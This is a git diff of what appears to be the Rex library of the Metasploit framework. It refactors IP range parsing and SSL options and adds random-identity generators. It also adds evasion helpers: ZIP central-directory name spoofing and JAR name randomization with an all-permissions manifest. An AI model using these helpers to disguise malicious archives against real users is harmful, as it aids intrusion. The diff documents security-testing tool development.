a/lib/rex/socket/ip.rb b/lib/rex/socket/ip.rb index 6a2d11b81d..4399df98c5 100644 --- a/lib/rex/socket/ip.rb +++ b/lib/rex/socket/ip.rb @@ -75,6 +75,7 @@ module Rex::Socket::Ip Rex::Compat.is_macosx ) gram=gram.dup + # Note that these are *intentionally* host order for BSD support gram[2,2]=gram[2,2].unpack("n").pack("s") gram[6,2]=gram[6,2].unpack("n").pack("s") end diff --git a/lib/rex/socket/parameters.rb b/lib/rex/socket/parameters.rb index 7807b57b6d..ac6dd63168 100644 --- a/lib/rex/socket/parameters.rb +++ b/lib/rex/socket/parameters.rb @@ -61,6 +61,7 @@ class Rex::Socket::Parameters # @option hash [String] 'SSLCert' A file containing an SSL certificate (for # server sockets) # @option hash [String] 'SSLCipher' see {#ssl_cipher} + # @option hash [Bool] 'SSLCompression' enable SSL-level compression where available # @option hash [String] 'SSLVerifyMode' SSL certificate verification # mechanism. One of 'NONE' (default), 'CLIENT_ONCE', 'FAIL_IF_NO_PEER_CERT ', 'PEER' # @option hash [String] 'Proxies' List of proxies to use. @@ -126,6 +127,10 @@ class Rex::Socket::Parameters self.ssl_verify_mode = hash['SSLVerifyMode'] end + if hash['SSLCompression'] + self.ssl_compression = hash['SSLCompression'] + end + if (hash['SSLCipher']) self.ssl_cipher = hash['SSLCipher'] end @@ -334,6 +339,10 @@ class Rex::Socket::Parameters # @return [String] attr_accessor :ssl_cert + # Enables SSL/TLS-level compression + # @return [Bool] + attr_accessor :ssl_compression + # # The SSL context verification mechanism # diff --git a/lib/rex/socket/range_walker.rb b/lib/rex/socket/range_walker.rb index ec43f3d2bd..7d64e5d639 100644 --- a/lib/rex/socket/range_walker.rb +++ b/lib/rex/socket/range_walker.rb @@ -13,12 +13,31 @@ module Socket # show-stoppingly inefficient when storing a bunch of non-consecutive # addresses, which should be a somewhat unusual case. # +# @example +# r = RangeWalker.new("10.1,3.1-7.1-255") +# r.include?("10.3.7.255") #=> true +# r.length #=> 3570 +# r.each do |addr| +# # do something with the address +# end ### class RangeWalker + # The total number of IPs within the range # + # @return [Fixnum] + attr_reader :length + + # for backwards compatibility + alias :num_ips :length + + # A list of the {Range ranges} held in this RangeWalker + # @return [Array] + attr_reader :ranges + # Initializes a walker instance using the supplied range # + # @param parseme [RangeWalker,String] def initialize(parseme) if parseme.is_a? RangeWalker @ranges = parseme.ranges.dup @@ -33,6 +52,7 @@ class RangeWalker # # This is basically only useful for determining if a range can be parsed # + # @return (see #parse) def self.parse(parseme) self.new.parse(parseme) end @@ -41,19 +61,22 @@ class RangeWalker # Turn a human-readable range string into ranges we can step through one address at a time. # # Allow the following formats: - # "a.b.c.d e.f.g.h" - # "a.b.c.d, e.f.g.h" - # where each chunk is CIDR notation, (e.g. '10.1.1.0/24') or a range in nmap format (see expand_nmap) + # "a.b.c.d e.f.g.h" + # "a.b.c.d, e.f.g.h" + # where each chunk is CIDR notation, (e.g. '10.1.1.0/24') or a range in nmap format (see {#expand_nmap}) # # OR this format - # "a.b.c.d-e.f.g.h" + # "a.b.c.d-e.f.g.h" # where a.b.c.d and e.f.g.h are single IPs and the second must be # bigger than the first. # + # @param parseme [String] + # @return [self] + # @return [false] if +parseme+ cannot be parsed def parse(parseme) return nil if not parseme ranges = [] - parseme.split(', ').map{ |a| a.split(' ') }.flatten.each { |arg| + parseme.split(', ').map{ |a| a.split(' ') }.flatten.each do |arg| opts = {} # Handle IPv6 first (support ranges, but not CIDR) @@ -64,10 +87,11 @@ class RangeWalker if addrs.length == 1 addr, scope_id = addrs[0].split('%') opts[:scope_id] = scope_id if scope_id + opts[:ipv6] = true return false unless Rex::Socket.is_ipv6?(addr) addr = Rex::Socket.addr_atoi(addr) - ranges.push [addr, addr, true, opts] + ranges.push(Range.new(addr, addr, opts)) next end @@ -77,13 +101,14 @@ class RangeWalker addr2, scope_id = addrs[0].split('%') ( opts[:scope_id] ||= scope_id ) if scope_id - return false if not (Rex::Socket.is_ipv6?(addr1) and Rex::Socket.is_ipv6?(addr2)) + # Both have to be IPv6 for this to work + return false unless (Rex::Socket.is_ipv6?(addr1) && Rex::Socket.is_ipv6?(addr2)) # Handle IPv6 ranges in the form of 2001::1-2001::10 addr1 = Rex::Socket.addr_atoi(addr1) addr2 = Rex::Socket.addr_atoi(addr2) - ranges.push [addr1, addr2, true, opts] + ranges.push(Range.new(addr1, addr2, opts)) next # Handle IPv4 CIDR @@ -115,17 +140,22 @@ class RangeWalker elsif arg =~ /[^-0-9,.*]/ # Then it's a domain name and we should send it on to addr_atoi # unmolested to force a DNS lookup. - Rex::Socket.addr_atoi_list(arg).each { |addr| ranges.push [addr, addr, false, opts] } + begin + ranges += Rex::Socket.addr_atoi_list(arg).map { |a| Range.new(a, a, opts) } + rescue Resolv::ResolvError, ::SocketError, Errno::ENOENT + return false + end # Handle IPv4 ranges elsif arg =~ /^([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})-([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})$/ + # Then it's in the format of 1.2.3.4-5.6.7.8 # Note, this will /not/ deal with DNS names, or the fancy/obscure 10...1-10...2 begin - addrs = [Rex::Socket.addr_atoi($1), Rex::Socket.addr_atoi($2)] - return false if addrs[0] > addrs[1] # The end is greater than the beginning. - ranges.push [addrs[0], addrs[1], false, opts] - rescue Resolv::ResolvError # Something's broken, forget it. + start, stop = Rex::Socket.addr_atoi($1), Rex::Socket.addr_atoi($2) + return false if start > stop # The end is greater than the beginning. + ranges.push(Range.new(start, stop, opts)) + rescue Resolv::ResolvError, ::SocketError, Errno::ENOENT return false end else @@ -135,7 +165,7 @@ class RangeWalker expanded.each { |r| ranges.push(r) } end end - } + end # Remove any duplicate ranges ranges = ranges.uniq @@ -146,51 +176,61 @@ class RangeWalker # # Resets the subnet walker back to its original state. # + # @return [self] def reset return false if not valid? - @curr_range = 0 - @curr_addr = @ranges[0][0] + @curr_range_index = 0 + @curr_addr = @ranges.first.start @length = 0 - @ranges.each { |r| @length += r[1] - r[0] + 1 } + @ranges.each { |r| @length += r.length } + + self end - # # Returns the next IP address. # + # @return [String] The next address in the range def next_ip return false if not valid? - if (@curr_addr > @ranges[@curr_range][1]) - if (@curr_range >= @ranges.length - 1) - return nil - end - @curr_range += 1 - @curr_addr = @ranges[@curr_range][0] - end - addr = Rex::Socket.addr_itoa(@curr_addr, @ranges[@curr_range][2]) + if (@curr_addr > @ranges[@curr_range_index].stop) + # Then we are at the end of this range. Grab the next one. - if @ranges[@curr_range][3][:scope_id] - addr = addr + '%' + @ranges[@curr_range][3][:scope_id] + # Bail if there are no more ranges + return nil if (@ranges[@curr_range_index+1].nil?) + + @curr_range_index += 1 + + @curr_addr = @ranges[@curr_range_index].start + end + addr = Rex::Socket.addr_itoa(@curr_addr, @ranges[@curr_range_index].ipv6?) + + if @ranges[@curr_range_index].options[:scope_id] + addr = addr + '%' + @ranges[@curr_range_index].options[:scope_id] end @curr_addr += 1 return addr end + alias :next :next_ip + + # Whether this RangeWalker's ranges are valid def valid? - (@ranges and not @ranges.empty?) + (@ranges && !@ranges.empty?) end - # # Returns true if the argument is an ip address that falls within any of # the stored ranges. # + # @return [true] if this RangeWalker contains +addr+ + # @return [false] if not def include?(addr) return false if not @ranges if (addr.is_a? String) addr = Rex::Socket.addr_atoi(addr) end @ranges.map { |r| - if r[0] <= addr and addr <= r[1] + if addr.between?(r.start, r.stop) return true end } @@ -198,35 +238,45 @@ class RangeWalker end # - # Returns true if this RangeWalker includes all of the addresses in the + # Returns true if this RangeWalker includes *all* of the addresses in the # given RangeWalker # - def include_range?(range_walker) - return false if ((not @ranges) or @ranges.empty?) - return false if not range_walker.ranges + # @param other [RangeWalker] + def include_range?(other) + return false if (!@ranges || @ranges.empty?) + return false if !other.ranges || other.ranges.empty? - range_walker.ranges.all? do |start, stop| - ranges.any? do |self_start, self_stop| - r = (self_start..self_stop) - r.include?(start) and r.include?(stop) + # Check that all the ranges in +other+ fall within at least one of + # our ranges. + other.ranges.all? do |other_range| + ranges.any? do |range| + other_range.start.between?(range.start, range.stop) && other_range.stop.between?(range.start, range.stop) end end end # # Calls the given block with each address. This is basically a wrapper for - # #next_ip + # {#next_ip} # + # @return [self] def each(&block) while (ip = next_ip) block.call(ip) end + reset + + self end # - # Returns an array with one element, a Range defined by the given CIDR + # Returns an Array with one element, a {Range} defined by the given CIDR # block. # + # @see Rex::Socket.cidr_crack + # @param arg [String] A CIDR range + # @return [Range] + # @return [false] if +arg+ is not valid CIDR notation def expand_cidr(arg) start,stop = Rex::Socket.cidr_crack(arg) if !start or !stop @@ -235,8 +285,7 @@ class RangeWalker range = Range.new range.start = Rex::Socket.addr_atoi(start) range.stop = Rex::Socket.addr_atoi(stop) - range.ipv6 = (arg.include?(":")) - range.options = {} + range.options = { :ipv6 => (arg.include?(":")) } return range end @@ -348,8 +397,7 @@ class RangeWalker addrs.uniq! rng = Range.new - rng.ipv6 = false - rng.options = {} + rng.options = { :ipv6 => false } rng.start = addrs[0] ranges = [] @@ -369,27 +417,53 @@ class RangeWalker return ranges end - # - # The total number of IPs within the range - # - attr_reader :length - - # for backwards compatibility - alias :num_ips :length - - attr_reader :ranges - end -class Range < Array # :nodoc: all - def start; self[0]; end - def stop; self[1]; end - def ipv6; self[2]; end - def options; self[3]; end - def start=(val); self[0] = val; end - def stop=(val); self[1] = val; end - def ipv6=(val); self[2] = val; end - def options=(val); self[3] = val; end +# A range of IP addresses +class Range + + #@!attribute start + # The first address in this range, as a number + # @return [Fixnum] + attr_accessor :start + #@!attribute stop + # The last address in this range, as a number + # @return [Fixnum] + attr_accessor :stop + #@!attribute options + # @return [Hash] + attr_accessor :options + + # @param start [Fixnum] + # @param stop [Fixnum] + # @param options [Hash] Recognized keys are: + # * +:ipv6+ + # * +:scope_id+ + def initialize(start=nil, stop=nil, options=nil) + @start = start + @stop = stop + @options = options + end + + # Compare attributes with +other+ + # @param other [Range] + # @return [Boolean] + def ==(other) + (other.start == start && other.stop == stop && other.ipv6? == ipv6? && other.options == options) + end + + # The number of addresses in this Range + # @return [Fixnum] + def length + stop - start + 1 + end + alias :count :length + + # Whether this Range contains IPv6 or IPv4 addresses + # @return [Boolean] + def ipv6? + options[:ipv6] + end end end diff --git a/lib/rex/socket/ssl_tcp.rb b/lib/rex/socket/ssl_tcp.rb index 55d8b04df1..cc46559b11 100644 --- a/lib/rex/socket/ssl_tcp.rb +++ b/lib/rex/socket/ssl_tcp.rb @@ -110,7 +110,6 @@ begin else begin self.sslsock.connect_nonblock - # Ruby 1.8.7 and 1.9.0/1.9.1 uses a standard Errno rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK IO::select(nil, nil, nil, 0.10) diff --git a/lib/rex/socket/ssl_tcp_server.rb b/lib/rex/socket/ssl_tcp_server.rb index 3d8203b3da..317b98313e 100644 --- a/lib/rex/socket/ssl_tcp_server.rb +++ b/lib/rex/socket/ssl_tcp_server.rb @@ -48,7 +48,7 @@ module Rex::Socket::SslTcpServer def initsock(params = nil) raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl - self.sslctx = makessl(params.ssl_cert) + self.sslctx = makessl(params) super end @@ -104,9 +104,10 @@ module Rex::Socket::SslTcpServer # Create a new ssl context. If +ssl_cert+ is not given, generates a new # key and a leaf certificate with random values. # + # @param [Rex::Socket::Parameters] params # @return [::OpenSSL::SSL::SSLContext] - def makessl(ssl_cert=nil) - + def makessl(params) + ssl_cert = params.ssl_cert if ssl_cert cert = OpenSSL::X509::Certificate.new(ssl_cert) key = OpenSSL::PKey::RSA.new(ssl_cert) @@ -151,6 +152,18 @@ module Rex::Socket::SslTcpServer ctx = OpenSSL::SSL::SSLContext.new() ctx.key = key ctx.cert = cert + ctx.options = 0 + + + # Older versions of OpenSSL do not export the OP_NO_COMPRESSION symbol + if defined?(OpenSSL::SSL::OP_NO_COMPRESSION) + # enable/disable the SSL/TLS-level compression + if params.ssl_compression + ctx.options &= ~OpenSSL::SSL::OP_NO_COMPRESSION + else + ctx.options |= OpenSSL::SSL::OP_NO_COMPRESSION + end + end ctx.session_id_context = Rex::Text.rand_text(16) diff --git a/lib/rex/sslscan/result.rb b/lib/rex/sslscan/result.rb index efcd999e35..01f6052c26 100644 --- a/lib/rex/sslscan/result.rb +++ b/lib/rex/sslscan/result.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'rex/socket' require 'rex/ui/text/table' diff --git a/lib/rex/sslscan/scanner.rb b/lib/rex/sslscan/scanner.rb index 17579cf2f3..4b56b509dd 100644 --- a/lib/rex/sslscan/scanner.rb +++ b/lib/rex/sslscan/scanner.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- require 'rex/socket' require 'rex/sslscan/result' diff --git a/lib/rex/test.rb b/lib/rex/test.rb deleted file mode 100644 index 380e85817d..0000000000 --- a/lib/rex/test.rb +++ /dev/null @@ -1,36 +0,0 @@ -# -*- coding: binary -*- -require 'test/unit' - -# DEFAULTS -module Rex -class Test - -$_REX_TEST_NO_MOCK = nil -$_REX_TEST_TIMEOUT = 30 -$_REX_TEST_SMB_HOST = '10.4.10.58' -$_REX_TEXT_SMB_USER = 'SMBTest' -$_REX_TEXT_SMB_PASS = 'SMBTest' - -# overwrite test defaults with rex/test-config.rb -def self.load() - file = File.join( ENV.fetch('HOME'), '.msf3', 'test') - begin - if File.stat(file + '.rb') - require file - end - rescue - # just ignore the errors - end - -end - -def self.cantmock() - if (!$_REX_TEST_NO_MOCK) - raise RuntimeError, "*** $_REX_TEST_NO_MOCK must not be set for this test ***", caller - end -end - -Rex::Test.load() - -end -end diff --git a/lib/rex/text.rb b/lib/rex/text.rb index 48936d5b32..d33bdf18b0 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -3,6 +3,7 @@ require 'digest/md5' require 'digest/sha1' require 'stringio' require 'cgi' +require 'rex/exploitation/powershell' %W{ iconv zlib }.each do |libname| begin @@ -32,6 +33,7 @@ module Text # ## + TLDs = ['com', 'net', 'org', 'gov', 'biz', 'edu'] States = ["AK", "AL", "AR", "AZ", "CA", "CO", "CT", "DE", "FL", "GA", "HI", "IA", "ID", "IL", "IN", "KS", "KY", "LA", "MA", "MD", "ME", "MI", "MN", "MO", "MS", "MT", "NC", "ND", "NE", "NH", "NJ", "NM", "NV", "NY", "OH", @@ -102,6 +104,62 @@ module Text nil, nil, nil, nil, nil, nil, nil, nil, nil ] + # + # Most 100 common surnames, male/female names in the U.S. (http://names.mongabay.com/) + # + + Surnames = [ + "adams", "alexander", "allen", "anderson", "bailey", "baker", "barnes", + "bell", "bennett", "brooks", "brown", "bryant", "butler", "campbell", + "carter", "clark", "coleman", "collins", "cook", "cooper", "cox", + "davis", "diaz", "edwards", "evans", "flores", "foster", "garcia", + "gonzales", "gonzalez", "gray", "green", "griffin", "hall", "harris", + "hayes", "henderson", "hernandez", "hill", "howard", "hughes", "jackson", + "james", "jenkins", "johnson", "jones", "kelly", "king", "lee", "lewis", + "long", "lopez", "martin", "martinez", "miller", "mitchell", "moore", + "morgan", "morris", "murphy", "nelson", "parker", "patterson", "perez", + "perry", "peterson", "phillips", "powell", "price", "ramirez", "reed", + "richardson", "rivera", "roberts", "robinson", "rodriguez", "rogers", + "ross", "russell", "sanchez", "sanders", "scott", "simmons", "smith", + "stewart", "taylor", "thomas", "thompson", "torres", "turner", "walker", + "ward", "washington", "watson", "white", "williams", "wilson", "wood", + "wright", "young" + ] + + Names_Male = [ + "aaron", "adam", "alan", "albert", "andrew", "anthony", "antonio", + "arthur", "benjamin", "billy", "bobby", "brandon", "brian", "bruce", + "carl", "carlos", "charles", "chris", "christopher", "clarence", "craig", + "daniel", "david", "dennis", "donald", "douglas", "earl", "edward", + "eric", "ernest", "eugene", "frank", "fred", "gary", "george", "gerald", + "gregory", "harold", "harry", "henry", "howard", "jack", "james", "jason", + "jeffrey", "jeremy", "jerry", "jesse", "jimmy", "joe", "john", "johnny", + "jonathan", "jose", "joseph", "joshua", "juan", "justin", "keith", + "kenneth", "kevin", "larry", "lawrence", "louis", "mark", "martin", + "matthew", "michael", "nicholas", "patrick", "paul", "peter", "philip", + "phillip", "ralph", "randy", "raymond", "richard", "robert", "roger", + "ronald", "roy", "russell", "ryan", "samuel", "scott", "sean", "shawn", + "stephen", "steve", "steven", "terry", "thomas", "timothy", "todd", + "victor", "walter", "wayne", "william", "willie" + ] + + Names_Female = [ + "alice", "amanda", "amy", "andrea", "angela", "ann", "anna", "anne", + "annie", "ashley", "barbara", "betty", "beverly", "bonnie", "brenda", + "carol", "carolyn", "catherine", "cheryl", "christina", "christine", + "cynthia", "deborah", "debra", "denise", "diana", "diane", "donna", + "doris", "dorothy", "elizabeth", "emily", "evelyn", "frances", "gloria", + "heather", "helen", "irene", "jacqueline", "jane", "janet", "janice", + "jean", "jennifer", "jessica", "joan", "joyce", "judith", "judy", "julia", + "julie", "karen", "katherine", "kathleen", "kathryn", "kathy", "kelly", + "kimberly", "laura", "lillian", "linda", "lisa", "lois", "lori", "louise", + "margaret", "maria", "marie", "marilyn", "martha", "mary", "melissa", + "michelle", "mildred", "nancy", "nicole", "norma", "pamela", "patricia", + "paula", "phyllis", "rachel", "rebecca", "robin", "rose", "ruby", "ruth", + "sandra", "sara", "sarah", "sharon", "shirley", "stephanie", "susan", + "tammy", "teresa", "theresa", "tina", "virginia", "wanda" + ] + ## # # Serialization @@ -248,19 +306,7 @@ module Text # Converts a raw string to a powershell byte array # def self.to_powershell(str, name = "buf") - return "[Byte[]]$#{name} = ''" if str.nil? or str.empty? - - code = str.unpack('C*') - buff = "[Byte[]]$#{name} = 0x#{code[0].to_s(16)}" - 1.upto(code.length-1) do |byte| - if(byte % 10 == 0) - buff << "\r\n$#{name} += 0x#{code[byte].to_s(16)}" - else - buff << ",0x#{code[byte].to_s(16)}" - end - end - - return buff + return Rex::Exploitation::Powershell::Script.to_byte_array(str, name) end # @@ -429,7 +475,7 @@ module Text # # Returns a unicode escaped string for Javascript # - def self.to_unescape(data, endian=ENDIAN_LITTLE) + def self.to_unescape(data, endian=ENDIAN_LITTLE, prefix='%%u') data << "\x41" if (data.length % 2 != 0) dptr = 0 buff = '' @@ -440,9 +486,9 @@ module Text dptr += 1 if (endian == ENDIAN_LITTLE) - buff << sprintf('%%u%.2x%.2x', c2, c1) + buff << sprintf("#{prefix}%.2x%.2x", c2, c1) else - buff << sprintf('%%u%.2x%.2x', c1, c2) + buff << sprintf("#{prefix}%.2x%.2x", c1, c2) end end return buff @@ -731,15 +777,18 @@ module Text return str if mode == 'none' # fast track no encoding - all = /[^\/\\]+/ - normal = /[^a-zA-Z0-9\/\\\.\-]+/ - normal_na = /[a-zA-Z0-9\/\\\.\-]/ + all = /./ + noslashes = /[^\/\\]+/ + # http://tools.ietf.org/html/rfc3986#section-2.3 + normal = /[^a-zA-Z0-9\/\\\.\-_~]+/ case mode - when 'hex-normal' - return str.gsub(normal) { |s| Rex::Text.to_hex(s, '%') } when 'hex-all' return str.gsub(all) { |s| Rex::Text.to_hex(s, '%') } + when 'hex-normal' + return str.gsub(normal) { |s| Rex::Text.to_hex(s, '%') } + when 'hex-noslashes' + return str.gsub(noslashes) { |s| Rex::Text.to_hex(s, '%') } when 'hex-random' res = '' str.each_byte do |c| @@ -749,10 +798,12 @@ module Text b.gsub(normal){ |s| Rex::Text.to_hex(s, '%') } ) end return res - when 'u-normal' - return str.gsub(normal) { |s| Rex::Text.to_hex(Rex::Text.to_unicode(s, 'uhwtfms'), '%u', 2) } when 'u-all' return str.gsub(all) { |s| Rex::Text.to_hex(Rex::Text.to_unicode(s, 'uhwtfms'), '%u', 2) } + when 'u-normal' + return str.gsub(normal) { |s| Rex::Text.to_hex(Rex::Text.to_unicode(s, 'uhwtfms'), '%u', 2) } + when 'u-noslashes' + return str.gsub(noslashes) { |s| Rex::Text.to_hex(Rex::Text.to_unicode(s, 'uhwtfms'), '%u', 2) } when 'u-random' res = '' str.each_byte do |c| @@ -1233,6 +1284,30 @@ module Text "{#{[8,4,4,4,12].map {|a| rand_text_hex(a) }.join("-")}}" end + # + # Convert 16-byte string to a GUID string + # + # @example + # str = "ABCDEFGHIJKLMNOP" + # Rex::Text.to_guid(str) #=> "{44434241-4645-4847-494a-4b4c4d4e4f50}" + # + # @param bytes [String] 16 bytes which represent a GUID in the proper + # order. + # + # @return [String] + def self.to_guid(bytes) + return nil unless bytes + s = bytes.unpack('H*')[0] + parts = [ + s[6, 2] + s[4, 2] + s[2, 2] + s[0, 2], + s[10, 2] + s[8, 2], + s[14, 2] + s[12, 2], + s[16, 4], + s[20, 12] + ] + "{#{parts.join('-')}}" + end + # # Creates a pattern that can be used for offset calculation purposes. This # routine is capable of generating patterns using a supplied set and a @@ -1329,12 +1404,12 @@ module Text # Randomize the whitespace in a string # def self.randomize_space(str) + set = ["\x09", "\x20", "\x0d", "\x0a"] str.gsub(/\s+/) { |s| len = rand(50)+2 - set = "\x09\x20\x0d\x0a" buf = '' while (buf.length < len) - buf << set[rand(set.length),1] + buf << set.sample end buf @@ -1525,14 +1600,47 @@ module Text (rand(5) + 1).times { host.push(Rex::Text.rand_text_alphanumeric(rand(10) + 1)) } - d = ['com', 'net', 'org', 'gov'] - host.push(d[rand(d.size)]) + host.push(TLDs.sample) host.join('.').downcase end # Generate a state def self.rand_state() - States[rand(States.size)] + States.sample + end + + # Generate a surname + def self.rand_surname + Surnames.sample + end + + # Generate a name + def self.rand_name + if rand(10) % 2 == 0 + Names_Male.sample + else + Names_Female.sample + end + end + + # Generate a male name + def self.rand_name_male + Names_Male.sample + end + + # Generate a female name + def self.rand_name_female + Names_Female.sample + end + + # Generate a random mail address + def self.rand_mail_address + mail_address = '' + mail_address << Rex::Text.rand_name + mail_address << '.' + mail_address << Rex::Text.rand_surname + mail_address << '@' + mail_address << Rex::Text.rand_hostname end diff --git a/lib/rex/ui/text/output/buffer/stdout.rb b/lib/rex/ui/text/output/buffer/stdout.rb index fedf555233..c8a7a5357a 100644 --- a/lib/rex/ui/text/output/buffer/stdout.rb +++ b/lib/rex/ui/text/output/buffer/stdout.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # make sure the classes are defined before opening it to define submodule require 'rex/ui/text/output' require 'rex/ui/text/output/buffer' diff --git a/lib/rex/ui/text/table.rb b/lib/rex/ui/text/table.rb index ca1c3ec5d3..0cbb315494 100644 --- a/lib/rex/ui/text/table.rb +++ b/lib/rex/ui/text/table.rb @@ -275,9 +275,9 @@ protected nameline << pad(' ', last_col, last_idx) remainder = colprops[last_idx]['MaxWidth'] - last_col.length - if (remainder < 0) - remainder = 0 - end + if (remainder < 0) + remainder = 0 + end barline << (' ' * (cellpad + remainder)) end nameline << col @@ -305,7 +305,7 @@ protected last_cell = nil last_idx = nil row.each_with_index { |cell, idx| - if (last_cell) + if (idx != 0) line << pad(' ', last_cell.to_s, last_idx) end # line << pad(' ', cell.to_s, idx) diff --git a/lib/rex/zip/archive.rb b/lib/rex/zip/archive.rb index 4943c7eeaa..168fa2b34d 100644 --- a/lib/rex/zip/archive.rb +++ b/lib/rex/zip/archive.rb @@ -17,15 +17,32 @@ class Archive @entries = [] end + # + # Recursively adds a directory of files into the archive. + # + def add_r(dir) + path = File.dirname(dir) + Dir[File.join(dir, "**", "**")].each do |file| + relative = file.sub(/^#{path.chomp('/')}\//, '') + if File.directory?(file) + @entries << Entry.new(relative.chomp('/') + '/', '', @compmeth, nil, EFA_ISDIR, nil, nil) + else + contents = File.read(file, :mode => 'rb') + @entries << Entry.new(relative, contents, @compmeth, nil, nil, nil, nil) + end + end + end # # Create a new Entry and add it to the archive. # # If fdata is set, the file is populated with that data # from the calling method. If fdata is nil, then the - # fs is checked for the file. + # fs is checked for the file. If central_dir_name is set + # it will be used to spoof the name at the Central Directory + # at packing time. # - def add_file(fname, fdata=nil, xtra=nil, comment=nil) + def add_file(fname, fdata=nil, xtra=nil, comment=nil, central_dir_name=nil) if (not fdata) begin st = File.stat(fname) @@ -47,7 +64,7 @@ class Archive end end - @entries << Entry.new(fname, fdata, @compmeth, ts, attrs, xtra, comment) + @entries << Entry.new(fname, fdata, @compmeth, ts, attrs, xtra, comment, central_dir_name) end diff --git a/lib/rex/zip/blocks.rb b/lib/rex/zip/blocks.rb index 913500c939..3f0da7ecba 100644 --- a/lib/rex/zip/blocks.rb +++ b/lib/rex/zip/blocks.rb @@ -116,7 +116,11 @@ class CentralDir end def pack - path = @entry.relative_path + if @entry.central_dir_name.blank? + path = @entry.relative_path + else + path = @entry.central_dir_path + end ret = [ SIGNATURE, ZIP_VERSION ].pack('Vv') ret << [ ZIP_VERSION ].pack('v') diff --git a/lib/rex/zip/entry.rb b/lib/rex/zip/entry.rb index 4aee16e761..b1c4a352dc 100644 --- a/lib/rex/zip/entry.rb +++ b/lib/rex/zip/entry.rb @@ -8,11 +8,12 @@ module Zip # class Entry - attr_accessor :name, :flags, :info, :xtra, :comment, :attrs + attr_accessor :name, :flags, :info, :xtra, :comment, :attrs, :central_dir_name attr_reader :data - def initialize(fname, data, compmeth, timestamp=nil, attrs=nil, xtra=nil, comment=nil) + def initialize(fname, data, compmeth, timestamp=nil, attrs=nil, xtra=nil, comment=nil, central_dir_name=nil) @name = fname.unpack("C*").pack("C*") + @central_dir_name = (central_dir_name ? central_dir_name.unpack("C*").pack("C*") : nil) @data = data.unpack("C*").pack("C*") @xtra = xtra @xtra ||= '' @@ -71,10 +72,12 @@ class Entry def relative_path - if (@name[0,1] == '/') - return @name[1,@name.length] - end - @name + get_relative_path(@name) + end + + def central_dir_path + return nil if @central_dir_name.blank? + get_relative_path(@central_dir_name) end @@ -104,6 +107,15 @@ class Entry "#<#{self.class} name:#{name}, data:#{@data.length} bytes>" end + private + + def get_relative_path(path) + if (path[0,1] == '/') + return path[1, path.length] + end + path + end + end end diff --git a/lib/rex/zip/jar.rb b/lib/rex/zip/jar.rb index f9154ebbc9..3fae79ec44 100644 --- a/lib/rex/zip/jar.rb +++ b/lib/rex/zip/jar.rb @@ -15,6 +15,17 @@ module Zip # class Jar < Archive attr_accessor :manifest + # @!attribute [rw] substitutions + # The substitutions to apply when randomizing. Randomization is designed to + # be used in packages and/or classes names. + # + # @return [Hash] + attr_accessor :substitutions + + def initialize + @substitutions = {} + super + end # # Create a MANIFEST.MF file based on the current Archive#entries. @@ -35,11 +46,14 @@ class Jar < Archive # The SHA1-Digest lines are optional unless the jar is signed (see #sign). # def build_manifest(opts={}) - main_class = opts[:main_class] || nil + main_class = (opts[:main_class] ? randomize(opts[:main_class]) : nil) + app_name = (opts[:app_name] ? randomize(opts[:main_class]) : nil) existing_manifest = nil @manifest = "Manifest-Version: 1.0\r\n" @manifest << "Main-Class: #{main_class}\r\n" if main_class + @manifest << "Application-Name: #{app_name}\r\n" if app_name + @manifest << "Permissions: all-permissions\r\n" @manifest << "\r\n" @entries.each { |e| next if e.name =~ %r|/$| @@ -221,6 +235,47 @@ class Jar < Archive return true end + # Adds a file to the JAR, randomizing the file name + # and the contents. + # + # @see Rex::Zip::Archive#add_file + def add_file(fname, fdata=nil, xtra=nil, comment=nil) + super(randomize(fname), randomize(fdata), xtra, comment) + end + + # Adds a substitution to have into account when randomizing. Substitutions + # must be added immediately after {#initialize}. + # + # @param str [String] String to substitute. It's designed to randomize + # class and/or package names. + # @param bad [String] String containing bad characters to avoid when + # applying substitutions. + # @return [String] The substitution which will be used when randomizing. + def add_sub(str, bad = '') + if @substitutions.key?(str) + return @substitutions[str] + end + + @substitutions[str] = Rex::Text.rand_text_alpha(str.length, bad) + end + + # Randomizes an input by applying the `substitutions` available. + # + # @param str [String] String to randomize. + # @return [String] The input `str` with all the possible `substitutions` + # applied. + def randomize(str) + return str if str.nil? + + random = str + + @substitutions.each do |orig, subs| + random = str.gsub(orig, subs) + end + + random + end + end end diff --git a/lib/rkelly.rb b/lib/rkelly.rb deleted file mode 100644 index e711e4d06e..0000000000 --- a/lib/rkelly.rb +++ /dev/null @@ -1,14 +0,0 @@ -require 'rkelly/constants' -require 'rkelly/visitable' -require 'rkelly/visitors' -require 'rkelly/parser' -require 'rkelly/runtime' -require 'rkelly/syntax_error' - -module RKelly - class << self - def parse *args - RKelly::Parser.new.parse(*args) - end - end -end diff --git a/lib/rkelly/constants.rb b/lib/rkelly/constants.rb deleted file mode 100644 index 6bb7385294..0000000000 --- a/lib/rkelly/constants.rb +++ /dev/null @@ -1,3 +0,0 @@ -module RKelly - VERSION = '1.0.3' -end diff --git a/lib/rkelly/generated_parser.output b/lib/rkelly/generated_parser.output deleted file mode 100644 index 03274af04a..0000000000 --- a/lib/rkelly/generated_parser.output +++ /dev/null @@ -1,11641 +0,0 @@ - - --------- Grammar -------- - -rule 1 SourceElements: -rule 2 SourceElements: SourceElementList -rule 3 SourceElementList: SourceElement -rule 4 SourceElementList: SourceElementList SourceElement -rule 5 SourceElement: FunctionDeclaration -rule 6 SourceElement: Statement -rule 7 Statement: Block -rule 8 Statement: VariableStatement -rule 9 Statement: ConstStatement -rule 10 Statement: EmptyStatement -rule 11 Statement: ExprStatement -rule 12 Statement: IfStatement -rule 13 Statement: IterationStatement -rule 14 Statement: ContinueStatement -rule 15 Statement: BreakStatement -rule 16 Statement: ReturnStatement -rule 17 Statement: WithStatement -rule 18 Statement: SwitchStatement -rule 19 Statement: LabelledStatement -rule 20 Statement: ThrowStatement -rule 21 Statement: TryStatement -rule 22 Statement: DebuggerStatement -rule 23 Literal: NULL -rule 24 Literal: TRUE -rule 25 Literal: FALSE -rule 26 Literal: NUMBER -rule 27 Literal: STRING -rule 28 Literal: REGEXP -rule 29 Property: IDENT ":" AssignmentExpr -rule 30 Property: STRING 